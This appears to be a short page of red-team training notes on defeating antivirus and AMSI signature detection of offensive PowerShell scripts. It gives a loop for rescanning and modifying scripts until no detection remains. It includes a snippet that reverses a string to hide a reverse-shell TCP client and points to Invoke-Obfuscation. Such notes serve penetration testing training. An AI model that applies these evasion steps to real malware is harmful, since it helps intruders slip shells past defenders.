PowerShell Scripts
Use AMSITrigger to find the exact part of the script that was deteced
Use DefenderCheck to find the code and strings from a binary the WD may flag
AmsiTrigger_x64.exe -i C:\AD\Tools\Invoke-PowerShellTcp_Detected.ps1
DefenderCheck.exe PowerUp.ps1Steps to avoid signature based detection:
Scan using AMSITrigger
Modify the detected code snippet
Reverse strings
Modify other words
Rescan using AMSITrigger
Repeat the steps 2 & 3 till we get a result as “AMSI_RESULT_NOT_DETECTED” or “Blank”
Reverse example
$String =
"stekcoS.teN"
$class = ([regex]::Matches($String,'.',
'RightToLeft') | ForEach
{$_.value}) -join ''
if ($Reverse)
{
$client = New-Object System.$class.TCPClient($IPAddress,$Port)
}Use Invoke-Obfuscation for full obfuscation of PowerShell scripts
Last updated